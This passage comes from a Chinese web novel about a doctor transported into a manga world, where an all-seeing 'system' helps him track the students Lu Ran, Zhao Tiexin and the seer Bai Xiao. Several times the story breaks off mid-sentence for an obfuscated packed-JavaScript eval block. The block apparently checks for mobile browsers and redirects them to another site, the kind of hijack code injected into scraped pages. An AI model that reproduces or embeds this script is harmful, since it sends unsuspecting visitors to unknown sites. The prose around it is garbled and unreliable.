这种级别的封锁,在他入学以来从未发生过。哪怕是最危险的血魔袭击预警时期,白塔也没有彻底切断过对外的通道。 这意味着什么,周防锋不敢细想。 赵铁心拽着陆燃,往宿舍的方向走去。他脸上带着笑,一只手死死抓着陆燃的手肘,似乎在说什么。陆燃则一脸不耐烦,想把胳膊抽回来,但没成功。 红发少年紧皱着眉头,总是烧着火焰似的眼睛里情绪复杂。 “我得去告诉清寒和小白这个好消息!当面说!她们肯定担心坏了!” 陆燃别开脸,声音干硬:“我没空。” “你怎么没空了?”赵铁心挑眉,“你晚上又没任务,训练少做一天也不会死,怎么,你不敢见她们?” 陆燃双手插在口袋里,闻言转身就要往另一个方向走:“你自己去。” “不行!”赵铁心反应极快,狠狠按住他,力道之大,让陆燃猝不及防之下被拽得一个趔趄,“陆哥你也得一起!你肯定好久都没跟她们好好说过话了!” “放手。”陆燃的声音像是从牙缝里挤出来的。 他试图甩开,但赵铁心抓得死紧。 “我不放!”赵铁心执拗劲儿上来了,身上泛起红光,肌肉布料下隆起。 他在动用沸血者的能力。 察觉到能量波动,陆燃飞快卸力,低吼出声:“赵铁心!你想死吗?!刚捡回一条命就敢随便燃血?!” 他的愤怒里,裹挟着真切的惊怒和后怕。 赵铁心却罕见地没有像往常那样嘻嘻哈哈地糊弄过去,更没有顺着他的脾气松开手。他脸上的笑容消失了。 “陆哥,脾气闹够了,也该收收了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896127|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陆燃没说话。 “从医务处出来到现在,你一脸死了爹的表情给谁看?”赵铁心语气冷漠得吓人,“林老师救了我,你连句谢谢都不会说?见了面就摆臭脸,话也不好好说,陆燃,你到底在闹什么脾气?” “我没闹脾气。”陆燃回答得满脸不高兴。 “那你这是什么?你这表情,不是闹脾气是什么?”赵铁心指向他的脸,“是不是还得我给你颁个奖,表彰你是全世界最会摆臭脸的人?” 陆燃胸口起伏了几下,想反驳,但又不知道从何说起。 “……你管得着吗?” “我管得着,我是你兄弟。”赵铁心说,“躺进罐子的时候,我以为我再也见不到你们了。” 陆燃的身体僵住了。 赵铁心看着他,声音低了下去:“陆哥,我知道你心里不好受。你觉得是你害了我,你觉得苏清寒的研究是错的,你觉得所有人都要害你,你觉得你只能一个人扛着——我他妈都知道。” 他深吸一口气。 “但你能不能别这样?”赵铁心醒来后头一回表现出疲惫,“能不能别把所有人都推开?能不能别把所有关心你的人都当成敌人?林老师是刚来的,他不欠我们什么,他救了我,你哪怕不感谢,至少别给人摆脸色。” “苏清寒……是,你们理念不合,她做的研究你看不上,但她也从来没想害你。还有小白,她已经把自己关起来多久了?你去看过她一次吗?” 陆燃依旧沉默。 “我不是在教训你。我累了,陆哥。”赵铁心抬手,用力揉了揉自己的短发,把本来就乱的头发揉得更乱,“躺在那儿的时候,我的脑子还能动,我想了好多好多事。我想,要是我真的变成血兽了,你们怎么办?你要怎么办?你会不会更恨自己?会不会更觉得所有人都是累赘?” 他顿了顿。 “我想清楚了,也活下来了。”赵铁心看陆燃的眼神很认真,“我不想再看你这样了。脾气闹够了,也该收收了。不要把臭脸留给关心你的人——这话我只说一次。” 说完,他转身,继续往宿舍区方向走。 走了几步,发现陆燃没跟上来。 赵铁心停下,回头。 陆燃还站原地,低着头,红发垂下来遮住了眼睛。 过了几秒,陆燃抬头。 眼睛里情绪依旧复杂,但笼罩在上面挥之不去的燥意变淡了。 “……我没有。”他开口,声音很哑,“没有觉得你们是累赘。” 赵铁心看着他。 “我只是……”陆燃抹了把脸,“我只是不知道该怎么办。” 他这句话说得很轻,几乎要被夜风吹散。 但赵铁心听见了。 他脸上重新露出笑容,走回去,伸手拍了拍陆燃的肩膀——这次陆燃没再甩开赵铁心的手。 两人重新往学生宿舍走,他们没再拉扯和争吵,只是安静地走着。 “走吧,”赵铁心抓着陆燃往前跑,“清寒这个点肯定还在实验室。小白那边……我们得想想怎么跟她说。” “赶紧通知完,我还想回去睡个好觉呢——好久没睡床了,好想念我的枕头。” 10. 警惕人工智障 夜深了。 白日的喧嚣尽数在清冷的寂静中消弭。窗外夜色浓稠如墨,执行宵禁后,连虫鸣都变得稀罕。没有星星闪耀的夜里,只有远处的白塔发着光。 该睡了。 林砚准备躺下睡觉。 床铺是新的,不熟悉的床铺让林砚有些许不适应,比起现实世界躯壳总是在渴望的有序歇息,这具健康身体对睡眠的需求并不急迫,他其实感觉自己还能接着熬。 先前他一直在思考,该怎么主动制造与主角团其余人的接触机会,但想了半天,最大的问题还是在于怎么找到他们的位置。 “叩、叩。” 窗外传来敲击声。 林砚收回已经压上床被的膝盖,不由得有些毛骨悚然。 这很诡异。因为这里是二楼。 窗外没有阳台,没有可供站立的外沿,只有垂直的墙壁。 但林砚只停顿了一秒。 他几乎瞬间就猜到了来人是谁。 林砚走到窗边,没有直接开窗,只是拉开窗帘,看向窗外。 一双骨节分明的手整齐地扣在窗框边缘,指节用力到发白,再往上,是一截黑色的袖子,红发被夜风吹得凌乱。 当然是陆燃。 除了他还能是谁? 他整个人悬在窗外,双脚抵着近乎垂直的墙面固定身体。姿势看起来危险又勉强,但他做得很稳。 林砚与他四目相对,抬手,指节轻敲玻璃,敲的位置是窗锁把手附近。 算是打了个招呼,同时也是提醒:我要开窗了,你抓稳点,别摔下去。 然后他拧开窗锁,窗户被向内拉开。 夜风灌入,有些冷。 陆燃动作极其利落。手臂发力,腰背弓起,双腿蹬墙借力,整个人便轻巧地从窗口翻了进来,落地时几乎没发出声音。 站稳后,陆燃迅速站直,拍了拍手上可能沾到的灰,反手轻轻关上了窗户。 房间里没开灯,只有窗外灯塔远远照来稀薄辉光,两人站在光影边缘,距离很近。 沉默在黑暗中蔓延。 林砚先开了口,声音平静:“陆燃同学——” 几乎同时,陆燃也说话了,语速快得像是提前背诵过:“下午是我太没礼貌了真的很抱歉林医生——” 两人的声音撞在一起,又同时停下。 陆燃似乎被这巧合弄得更加窘迫。他猛地向前踏了一步,然后弯腰,上半身与腿部成九十度的直角。头发随着动作垂落,遮住了他的表情,但鞠躬的姿势很标准,至少歉意很真实。 “……” 林砚已经到了嘴边的“这么晚有什么事”,被这突如其来的大礼硬生生堵了回去。 他完全没想到陆燃会来这么一出。 【陆燃竟然真的来道歉了。】系统的电子音在脑海中响起,述说着它的意外。 系统的电子音平静无波,但内容让林砚皱起了眉。 大晚上翻窗户进屋,就为了来鞠个躬道个歉? 他没立刻回应,而是在脑中继续问系统:你之前就知道他会来? 【基于陆燃晚间与赵铁心互动内容的观测,及对其行为逻辑的推演,其于深夜前来表达歉意的概率为67.3%。】系统答道,【但翻窗行径为新增变量,未计入初始概率模型。】 你能观测到他们具体的对话内容? 【可观测关键个体音频信息及肢体语言,并进行语义分析。此为维持世界稳定性监测的一部分。】 林砚:“……” 晚点再跟你细问。他暂时把系统的解释放到一边,将注意力拉回现实。 陆燃已经直起了身,但目光依然有些飘忽,不太敢直接看林砚的脸,手指无意识地摩挲着。 他在等林砚回应。 “你的道歉我收到了。”林砚终于开口,声音里包含着明显的无奈,“不过陆燃同学,下次走正门就可以,虽然医务处晚上会锁门,但你有我的联系方式。” 他一边说,一边在意识中呼唤:系统,调出陆燃的实时监测仪表盘。 仅他可见的光幕展开,数据流悄然刷新。 【陆燃】 生理状态:80%(他恢复得真的很快,对吧) 心理压力:75%(好兄弟骰出了说服大成功) 血蚀风险:62%(他今天没有使用能力) 信任度双边指标: -对苏清寒:3%(没有和好) -对赵铁心:80%(你永远是我最信任的兄弟) -对白晓:40%(讨厌缩头乌龟) 林砚的目光在“心理压力:75%”上多停留了一瞬。 下降了? 下午在医务处时,他记得这个数字高得吓人,几乎逼近情绪失控阈值。现在虽然依旧不低,但确实有了明显回落。 他的视线下移,落在“对赵铁心:80%”那一行。 ……懂了。 看来是赵铁心醒过来后又做了什么。 作为唯一一个和团队里所有人都关系不错的人,赵铁心的存在,比林砚预想的还要重要。他对团队的作用,甚至可能比陆燃这个男主更重要。 思考只用了短短几秒,林砚关掉光幕,看向还杵在那的陆燃。 林砚说得平淡,看起来没生气。陆燃抬眼看他,发现他确实也没有表现出不悦的架势。 “这里不是谈话的地方。”他说着,拿起搭在椅背上的薄外套披上,“去楼下办公室吧。” 林砚不打算跟陆燃在卧室里谈心。 他们还没熟络到可以让林砚穿着睡衣在卧室跟他聊天的地步。 人还是要有边界感的! 两人前一后走下楼梯,林砚按下开关,冷白色的日光灯逐一亮起,驱散了黑暗,也让一切无所遁形。 林砚走到办公桌后坐下,示意陆燃坐对面的椅子。 陆燃这回很规矩。 他没像下午那样拧巴拒绝,老老实实坐了下来,甚至主动从柜子里拿出杯子倒了两杯水。一杯给林砚面前,一杯给自己。 动作熟练得仿佛他才是这里的主人。 林砚不想把时间浪费在无意义的沉默里,这次他主动开口。 “陆燃同学,你的道歉,我已经接受了。不过,这么晚了还特意跑来医务室,应当不只是为了道歉吧?” 陆燃嘴唇动了动,话到了嘴边,又被咽回去,如此反复几次。那双总是燃烧着火焰或怒气的红瞳,此刻却有些游移,最后定格在手里的水杯上。 过了好几秒,他才抬起头,与林砚对视。 “赵铁心说,塔主信任你。” 林砚没接话,等着下文。 “但我觉得,哪怕她敢相信你,也不代表你就是值得信任的。” 林砚:“……” 他沉默了两秒。 内心第一个冒出来的念头是:你这孩子,咋能把这种话当面跟人直说啊? 这种近乎冒犯的质疑,放在任何社交场合都算得上灾难。 但考虑到说这话的人是陆燃…… 算了,已经很了不起了。 林砚面色不改。甚至点了点头,像是认可了这个说法。 “拥有独立的判断力,不盲目依赖他人的信任,这是成长中很重要的一环。”林砚的声音平稳,听不出喜怒,“尤其以你现在的处境和状态,确实不再适合盲目依赖他人了。保持警惕并不是坏事。” 这个反应似乎有些出乎陆燃的预料。他准备好的腹稿忽然没了用武之地,张了张嘴,一时间不知该接什么。 陆燃的手指在膝盖上蜷缩又松开,眼神变得分外认真。 “所以……我会用我自己的眼睛看清楚。” 他突然拔高音量,语速快得像是有人在后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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【系统分析:此次冲突中,赵铁心以自身濒死经历为基底,质问直指核心,成功突破了陆燃的心理防御。陆燃的回答中显示其孤立的姿态出现裂痕,承认了自身在处理团队关系上的无力。此次沟通显著降低了陆燃的焦虑与防御性敌意,为后续其所有看似异常的行为提供了动机。】 林砚抓住了这段话里的另一个重点。 你平时也能观测他们?不止是仪表盘数据? 【是的。本系统对《沸血升腾》叙事世界内所有已登场角色,均具备基础行为与交互观测能力。观测精度与范围随角色重要性及与任务核心关联度提升。】 你都能观测到哪些人? 【理论上,所有存在于当前漫画连载剧情框架内的角色。包括但不限于:白塔学院全体师生、沸血议会登记成员、已知血魔组织个体、及已出场关联平民。观测深度受角色剧情权重及与主角团交互频率影响。】 林砚沉默了几秒。 也就是说,你其实是个……全局视角的监控探头?天眼? 【可以这样理解。但观测受世界规则及个体隐私屏障限制,无法读取深层思维、记忆及完全私密空间内的细节。】 那我之前为了分析他们的情况、为了接触他们做的那些思考、那些计划算什么? 林砚倒也没有抱怨的意思,纯粹是好奇。 系统的回答依旧平稳。 【您的思考、分析与行动计划,是基于您个人认知、经验及系统所提供部分信息进行的独立决策过程。此为任务执行者不可替代的核心价值。】 最后一个问题。 【请讲。】 你为什么不早告诉我你有这个功能? 【您没问。】 林砚:“……” 11. 预言家 林砚接触苏清寒和白晓的计划,在正式实施前,就胎死腹中。 但并非坏的方面。 原因无他,感谢塔主支援。 清晨,天光初露,白塔里便响起了钟声。 钟声从每一层的广播扬声器里迸发,音量穿透墙壁,钻入耳膜,毫无阻碍地穿过走廊、教室、训练场、宿舍的每一寸空间,钻进每一个还在沉睡或已然清醒的人的耳朵里。 这不是普通的起床铃或上课铃。 这是来自塔主的召集令。 意思简单直接,不容置疑:所有人,无论你在何处,无论你在做什么。现在、立刻、马上,来大礼堂开会。 对于这道召集令,白塔内部流传着一个不算玩笑的玩笑:哪怕你正躺在治疗罐里深度昏迷,维生系统的辅助音频单元也会确保你能听到塔主的每一个字。 别说你只是因为心情不好不想出门,或者沉浸在研究里无法自拔,任何试图逃避集体行动的个体,在这钟声和随之而来的规则面前,都没有例外。 沸血议会的长老们私下评价:白塔?那根本就是白珍那个老不死的私人兵营! 这句话多多少少带了私人恩怨的成分在——议会那帮老家伙一直试图插手白塔的管理,却次次被白珍用拐杖抽回去。 但总体上,还是成立的。 塔主就是白塔的唯一权威。 而现在的塔主,是白珍。 从钟声响起到林砚走进礼堂,时间不超过十分钟。可等他到时,足以容纳全校师生的宽阔礼堂内,已经按照年级区域,黑压压地坐满了人。 低年级的学生大多还带着惺忪睡意,揉着眼睛,低声交头接耳,猜测着突然召集的原因。高年级的则神色严肃许多,他们经历过更多,知道这种毫无预兆的全员集合往往意味着有大事发生。 林砚目光扫过四年级的人群,没费什么力气,就看到了他想找的人。 主角团到齐了。 他们都穿着校服,坐在四年级第一排的正中间,位置很是显眼。 最边上的是陆燃,红发的少年双手抱胸,靠在椅背上。他看起来和周围喧嚣格格不入,脸色紧绷,似乎对这种强制集会颇为反感。 旁边是赵铁心,精神很好,侧着头对旁边的人说着什么。 再过去,是两个女孩。 靠外的一位扎着黑色的高马尾,坐姿一丝不苟,正是苏清寒。她脸上没什么表情,镜片后的目光平静地注视着前方主席台,右手臂向内侧倾斜,因为白晓靠在她肩上。 灰蓝色的长发似乎没有被主人好好打理,披散在肩上,衬得那张小脸越发苍白。她眼帘低垂,浓密的睫毛在眼睑下投出深邃的阴影,眼尾处带着未消散的嫣红。 苏清寒手虚虚地握着她的手腕。 似乎是感应到了什么,陆燃忽然偏过头,视线穿过人群,目光精准地捕捉到了林砚。 他停顿了一秒。 然后用手肘碰了碰旁边还在说话的赵铁心,朝林砚的方向抬了抬下巴。 赵铁心立刻顺着他的视线看过来,看见是林砚,脸上笑容变得更加灿烂,毫不顾忌场合地抬起手,远远地朝林砚挥了挥,甚至还用口型比了个“林老师早!” 他们的动静引起了连锁反应。 白晓被赵铁心的动作惊动,也怯怯地抬起头,循着赵铁心挥手的方向望过来。目光对上林砚时,眼睛里迅速蒙上一层朦胧的水汽,整个人泫然欲泣。 苏清寒也随之看了过来,目光平静地扫过林砚,微微颔首,算是礼节性的示意,随即又转了回去,注意力重新放回讲台。 而林砚…… 林砚迎着白晓那快哭出来的眼神,心里冒出的念头是:这孩子黑眼圈也太重了。 熬夜多了容易陷入网抑云时间,建议好好睡觉。 他面色如常地收回视线,一个身影停在了他左侧的座位旁。 “您就是林砚林老师吧?”来人的声音温和,带着恰到好处的热情,“您好,初次见面。我是王敬,主要负责教务方面的工作。” 林砚转头。 说话的人看起来三十岁出头,鼻梁上架着金边眼镜,镜片后的眼睛弯起,笑容和声音一样温和,令人如沐春风。他穿着白塔的教师制服,整个人收拾得干净整洁。 他在漫画里见过这张脸,虽然只是背景板中的寥寥几笔。 教务负责人,王敬。 王敬没有伸手,林砚也不需要同他握手。 沸血者之间,尤其是关系不熟、身份地位或有差异的情况下,并没有那么多世俗的社交礼节。力量本身是最直接的通行证,也是最大的距离。除非关系不错,或者有意结交,否则他们甚至懒得费神去进行表面寒暄。 【提示:您无需过度回应。对外表现出适当的疏离与高傲,会被视为合理且符合身份的行为。您即使无视他,他也不会感到意外或冒犯。】 林砚颔首,算是回应。 态度算不上热络,甚至有些疏离。 王敬也确实没有表现出任何哪怕一丝的不悦,脸上笑容依旧,林砚的反应完全在他意料之中。他自然地坐了下来,同样将目光投向主席台,不再多言。 就像系统说的,大家族里出来的人,性格高傲很正常。 别说林砚这种一脉单传的熊猫级治疗系家族,就说陆燃,哪怕脾气暴躁、行事冲动,但因为出身显赫的陆家,大家对他的容忍度也自然高上许多。 能被称之为“沸血者家族”,意味着其家族成员天生作为“源血”携带者的比例极高,甚至世代传承着强大的特定能力。 这不仅仅意味着血统的纯正与古老,更代表着代代累积的实战经验、资源、以及根深蒂固的影响力。在沸血者的世界里,拳头才是硬道理。 而白珍,能以毫无家族背景平民出身,登上塔主之位,让议会那些老牌家族无从插手,靠的便是她公认的、当世最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林砚沿着走廊往外走,就在他即将踏出礼堂后门,步入回廊时,旁边墙柱与门框形成的阴影里,一个人影悄无声息靠了过来,拦在他面前。 林砚站定。 不是陆燃,也不是赵铁心。 来人比他要矮上一个头,穿着和其他学生别无二致的校服,灰蓝色的长发有些凌乱地垂在肩头,发梢随着她的动作轻轻晃动。她仰头看向林砚,茶珀色的眼睛很大,直直地望进林砚的眼里。脸色依旧苍白,眼下的青黑在近距离下更加明显。 是白晓。 她是一个人来的,似乎在这里等了有一会儿了。 “林砚……” 白晓伸出手,手指纤细,微微颤抖着,捏住林砚衣角。 她的嘴唇翕动了几下,声音很轻: “我等了你好久好久……” 12. 我爱你,虽然我从未见过你^^…… 啊? 林砚大脑空白了一瞬。 他原地站定,周围喧哗声迅速远去,仿佛被蒙上一层玻璃。面前的少女没有消失,还仰着脸泫然欲泣地望着他,表情执拗得让林砚没法忽视。 他迅速在记忆里过了一轮。 没有。 在此之前,他从未见过白晓,更没有和她有过任何形式的直接接触。礼堂的遥遥对望不算。 系统灌输的背景资料里从未提过她,她不可能见过林砚,更别提等他很久了。 无论是漫画林砚还是穿越者林砚,都只知道她预言者的身份,知道她因预见未来而崩溃,知道她将自己锁在房间里。 仅此而已。 林砚垂眸,女孩依旧是那副随时都要哭出来的模样,茶珀色的眼睛睁得很大,眼神里混杂着依赖、委屈,还有些林砚无法理解的复杂存在。她抓着林砚不放,像是害怕只要一松手,眼前的人就会消失不见。 她没再说话,只是看着他,等待着他的反应。 “先离开这里。” 这里不是谈话的地方。 周围可能会有其他老师经过,白晓表现得太过暧昧,被看到了到底不太好。 白晓顺从地点头,手指却没有松开,仿佛林砚是连接她与现实的唯一锚点。 得亏学校里目前只有他一个校医,医务室和教学楼也不在一个方向,几乎不会有其他人和他一样往这个方向走。否则,林砚恐怕刚入职没两天,就要面临关于师德和与学生保持适当距离的严肃谈话了。 白晓一路上都很安静,林砚能感觉到,她对自己有一种不知从何而来的、近乎盲目的信任。 这种信任在几分钟后得到了印证。 他们刚穿过连接主楼和园林区的小径,一个身影就从另一条岔路快步走来,拦在了前面。 是苏清寒。 黑发女孩气息微促,显然是一路找过来的。她的目光第一时间落在白晓身上,迅速扫过她苍白但似乎还算平静的脸,最后落在她捏着林砚衣角的手上。眉头几不可察地蹙了一下,随即看向林砚,眼神里带着审视,还有些警惕。 “晓晓,”苏清寒开口,声音是惯常的冷静,但语速比平时快了一点,“你没事吧?需要我陪你吗?” 她的询问是对白晓说的,但视线停留在林砚脸上。 白晓的反应显然出乎苏清寒的意料。 她没有松开手,脸上那种泫然欲泣的表情淡了一些,对苏清寒露出一个安抚意味的笑容。 “不用啦,寒寒。”白晓的声音依旧很轻,有些脆弱,但语气却很笃定,“有林老师在,就是最安全的。你先忙你的吧,我没事的。” 她说这话时,神情自然得仿佛苏清寒问了个让人觉得好笑的常识性问题。 苏清寒明显愣住了。 她的眼睛里掠过一丝清晰的困惑,嘴唇微微抿起,似乎想说什么,但最终没有开口。她看了看白晓,又看了看也对白晓的话感到意外的林砚,嘴唇动了动,没再说什么,只是点了点头。 那眼神很难形容,没有敌意,只是无奈。 “……好。有事随时联系我。” 然后苏清寒便离开了,背影很快消失在树影间。 白晓继续拉着林砚的衣角,仿佛刚才无事发生。 林砚却无法不在意。 苏清寒那个复杂的眼神,和白晓那句“有林老师在就是最安全的”,倒是让他摸到了些头绪。 据漫画设定和系统提供的背景,白晓自从觉醒预言能力后,精神状态就变得不稳定,言语时常混乱,逻辑跳跃,难以理解。官方(漫画旁白)解释是:她在预言中观测了太多未来的可能性碎片,导致对时间的感知产生混淆,分不清哪些是已发生的过去,哪些是可能发生的未来,哪些是尚未发生的现在。 她活在无数个平行未来的叠加态里。 她此刻对林砚表现出来的异常信任和依赖,很可能并非源于“现在”,而是源于她看到的某个或某些“未来”。 在那个或那些片段里,他和她的关系,或许并非简单的医生与患者,老师与学生。 两人沉默地走完了最后一段路,进入医务处。 林砚的办公室里很安静,他示意白晓在沙发上坐下,自己走到饮水机旁,给她接了杯温水。 转身走回沙发时,白晓正安静地坐在那里,双手放在膝盖上,长发垂在肩侧,眼睛一眨不眨地看着他走近。 林砚将水杯递过去。 “喝点水。”他说。 白晓伸出手。 但她没有直接去接杯子。 她的双手轻轻捧住了林砚递杯子的那只手腕。动作轻柔,她的指尖微凉,触感清晰。 林砚动作一顿,没有立刻抽回。 白晓的指尖顺着他手腕内侧的皮肤,极其缓慢地向下滑动,划过清晰的腕骨线条,最终来到他握着纸杯的手掌附近。然后,她一只手接过了水杯,将其轻轻放在身旁。另一只手依旧捧着林砚的手腕,拇指轻柔地捏住他的掌心,微微用力,牵引着那只手贴向自己的脸颊。 她的手覆在林砚的手背上,确保他的掌心完全贴合她侧脸的皮肤。 林砚顺着她的动作,在沙发另一侧坐下。没有强行抽回手,只是安静地看着她。 他想知道这到底是怎么回事。 白晓闭上眼睛,像一只寻求安抚的猫,她的脸颊在林砚的掌心里轻轻蹭了蹭。 动作很慢,带着依恋和满足。苍白的皮肤触感微凉,但很快被林砚掌心的温度焐热。 这个动作过于亲昵,超出了正常师生甚至普通相识关系的范畴。 但白晓做得很自然,仿佛这个动作她已经做过千百遍。 白晓似乎沉浸在某种只有她能感知到的情绪或回忆里。 过了好几秒,她才微微睁开眼,茶珀色的眼眸里水光潋滟,目光迷离地望着林砚,声音轻得像梦呓: “林砚……” “……我从来没有觉得你的‘祸血凭依’冰冷过。” 林砚肯定了自己刚才的猜想。 “你的能力,是最温暖的能力。”白晓的声音里有近乎虔诚的依赖,“你不要听他们的,不要离开我,好不好?” 她的话语逻辑跳跃,所指不明。 他们? 离开? 白晓这显然是又陷入预言了,还在预言里看到了与他相关的片段。 她的异于常人之处,也是她的痛苦根源。那些对他人而言虚幻的可能性,于她来说却是亲身经历过的真实。她总是分不清这些差异。 就像现在。 她又将现实与预言混淆了。 林砚没有抽回手,任由她贴着,寂静的空间里,甚至感觉隔着皮肤能听到她的心跳。他用另一只空着的手,屈起食指,用指节轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那里面有不加掩饰的亲近,有深切的期盼,有因时间混淆带来的忧伤,还有一种他之前未能明确识别、此刻却骤然清晰的微妙情愫—— 那柔软的、依赖的、带着占有欲和深切渴望的眼神…… 原来**的是爱啊! 林砚感觉自己太阳穴突突跳了两下。 “白晓同学,”他开口,尽量不产生任何可能被误解的情绪,“这里是医务处。我是林砚,你的新校医。现在是封塔第一天的早晨,我们刚刚在礼堂开完会,你在后门拦住了我。” 白晓听着,眨了眨眼。她点了点头,表示明白,但眼神的亲近和眷恋,并未褪去。 “我知道,”她小声说,带着点委屈,“现在是现在。但以后也是真的……林老师,你能不能不要讨厌我?” “不讨厌。”林砚回答得很快,也很直接。 他想起在礼堂时的念头,补充道,“但你需要休息。长时间缺乏睡眠可能会加重你的感知混乱,你的黑眼圈有些深了。医务处有休息的地方,如果你需要,可以在这里睡一会儿。至少这里是安静的。” 白晓轻轻“嗯”了一声,没说要走,也没说要不要休息。 林砚也没有催她。 他起身,走到办公桌前拉开抽屉坐下,假装整理资料,实际上在脑海中呼唤系统。 她到底都看到什么了啊????? 13. 白晓:我是林砚梦女 林砚在脑中和系统进行了一波对线。 过程谈不上愉快,结果更谈不上有用。 无论他用什么角度、什么方式,甚至带点诱导性地提问,系统的回答都指向同一个限制:它没法直接读取角色的思维和记忆。 【我所进行的观测,都是基于角色的行为、交互、环境变量及可捕捉的生理指标进行的分析推理。对目标个体白晓所预见’的具体画面内容,我只能基于言行及生理反应进行推演,但推演结果必然存在误差。】 也就是说,系统能知道白晓哭了,能分析她哭泣时的心率、呼吸频率、甚至泪液中某些激素的水平变化,能记录她说出的每一句话。但它无法知道她哭的时候具体“想”到了什么画面,无法读取她预言中那些碎片的具体内容,除非她自己说出来。 【如果您想了解白晓在预言中观测到的具体内容,最直接有效的方式是询问她本人。】 真的只能如此吗? 林砚坐在办公桌后,目光扫过沙发上安静捧着水杯、眼神有些放空的白晓。 直接问? 问一个刚刚处于现实与未来混淆状态的预言者:你都看到了关于我的什么? 这听起来就像让一个高烧谵妄的人详细描述他的幻觉,不仅大概率得不到答案,还可能进一步刺激对方本就脆弱的认知边界。 尤其这个未来里还有大量情感浓度超标的片段……这和主动跳进混沌里有什么区别,不仅难以获得清晰答案,还可能引发更多不必要的混淆和情绪波动。 比起经由本人叙述、可能带有强烈情感色彩和认知偏差的故事,林砚想看更为客观的记录。 比如,来自系统数据库的,或者…… 一个念头浮现。 系统,我们在里推进了这么多剧情,漫画的作者,就一点都没更新吗? 他记得上次返回现实世界,看到漫画更新到了第九十一话。按照漫画世界和现实世界的时间流速差异,以及之前提到作者需要整理剧情,现在应该有些新进展才对。 ……这老贼总不至于刚说完恢复连载就又继续断更开摆吧? 【检测中……】 【检测到《沸血升腾》漫画项目存在部分暂未完成的草稿画面及文字标注。当前漫画网站公开连载的最新话内容仍未更新,维持在第91话状态。】 草稿? 我能直接看作者没画完的那些原稿吗?草稿也行。 【根据《跨维度叙事□□系统操作协议》补充条款第7项:任务执行者有权获取与任务相关的世界背景及剧情发展信息。】 【理论上,访问作者未公开的创作草稿,属于灰色地带,但并未被明确列入禁止事项清单。提醒:草稿内容具有高度不稳定性、非最终性,且信息可能残缺、矛盾或与已发布内容冲突。过度依赖草稿信息可能导致判断偏差。】 那就是可以看,对吗?林砚确认道。 【……理论上,是的。】 林砚没有放过系统短暂的停顿。 他决定再加把火,绕过系统避免过度干预的原则,强行下达指令:系统,现在我需要你协助我完成任务,我现在申请访问《沸血升腾》漫画第九十二话及相关的当前创作草稿内容。现在!给我看。 【……】 【指令确认。申请符合协议条款。】 【正在为您调取并传输相关草稿内容……正在为您建立临时数据链接……】 熟悉的抽离感再次袭来。 感觉像是一脚踩空,灵魂被某种力量从躯体里短暂地拎了出来。 一切都在刹那间凝固,颜色褪去,时间变得粘稠。 这感觉有点恶心,但林砚已经有些适应了。 视野重新清晰时,林砚有些说不出话来。 他正以某种超越实体的视角,俯瞰着漂浮在虚无背景中的画面们。它们线条粗糙,光影潦草,充满了未完成的痕迹。 这就是草稿。 草稿之所以是草稿,不仅意味着内容可能残缺不全,更意味着画面也可能潦草到让人根本看不明白。 而眼下这位《沸血升腾》作者的草稿,充分体现了“草稿”二字的精髓。 大开大合的分镜框线歪歪扭扭,背景是用狂放的粗线条草草勾勒出的建筑物轮廓或阴影,人物更是简化到了极致——经常是几根线条确定动态,加上标志性特征。 至于具体的五官、表情细节? 基本不存在。 唯一值得庆幸的是,作者虽然画得狂放,重要的台词气泡和旁白文字框已经填进去了不少,字迹有些凌乱,但能看清。 林砚的注意力被其中一组片段吸引。 这组片段的主角是白晓。 画面里,眼睛被画得特别大、几乎占了半张脸的少女,梦游般在不同的分镜框里游荡。最早的镜头是她蜷缩在昏暗房间角落的身影,线条凌乱地涂抹出哭泣的抖动感。旁边有文字标注:“已经没救了”、“又做预知梦了”、“我不想看这些”、“为什么是我”。 然后,连续的敲门声响起,带着熟悉的节奏。 旁白文字写着:“声音……是心心的声音?不可能……他明明已经……” 画面中的女生身影猛地一颤,挣扎努力着从消极中爬起。 最终,门把手转动。 门开了。 门外站着两个简笔画小人。一个线条勾勒得结实些,短发,脸上用简单的弧线代表笑容,另一个头发毛炸炸的。 旁白写着:声音熟悉得让她落下泪来,是铁心!活的!还有陆燃那个笨蛋…… 少女猛地扑了出去。画面里,代表赵铁心的那个人影被紧紧抱住,旁边的人则是被完全忽略,脸上画了个表示无语的汗滴。 接下来的几个分镜里,情况开始变得怪异。 白晓依然抱着赵铁心,但她视线望着的方向,却出现了第三个身影。 这个虚影的线条比其他角色要精细一些,侧脸的线条被特意强调出优越的弧度。 这个身影被画在白晓视觉方向的背景处,像是她看到的幻影,而现实中的赵铁心正在她面前挥着手,嘴巴张开发出对话气泡:“小白?小白你看我啊!我没事了!真的!” 白晓没有看现实中的赵铁心。 在后续一系列混乱跳跃的分镜中,赵铁心不断试图与白晓互动,将她拉回现实。但白晓的身影总是朝着那个“林砚”的方向倾斜,旁白描述她“又哭又笑”,“完全忽视了现实的呼唤”。 